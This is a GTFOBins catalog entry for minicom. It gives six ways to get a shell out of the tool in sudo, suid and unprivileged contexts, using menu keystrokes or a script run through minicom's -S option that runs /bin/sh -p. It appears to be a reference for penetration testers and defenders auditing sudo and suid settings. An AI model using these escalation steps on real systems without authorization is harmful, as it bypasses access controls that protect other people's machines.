Catalog GTFOBins

GTFO · Tool

minicom

6 techniques LinuxGTFOBins GPL-3.0

shell

ExecutionPrivilege Escalation Linux

Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`.

minicom -D /dev/null
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh -p`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`.

minicom -D /dev/null
Context
suid
Native
shell
MITRE
T1059

shell

Execution Linux

Start the following command to open the TUI interface, then: 1. press `Ctrl-A o` and select `Filenames and paths`; 2. press `e`, type `/bin/sh`, then `Enter`; 3. Press `Esc` twice; 4. Press `Ctrl-A k` to drop the shell. After the shell, exit with `Ctrl-A x`.

minicom -D /dev/null
Context
unprivileged
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

After the shell, exit with `Ctrl-A x`.

echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^J
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege Escalation Linux

After the shell, exit with `Ctrl-A x`.

echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^J
Context
suid
Native
shell
MITRE
T1059

shell

Execution Linux

After the shell, exit with `Ctrl-A x`.

echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^J
Context
unprivileged
Native
shell
MITRE
T1059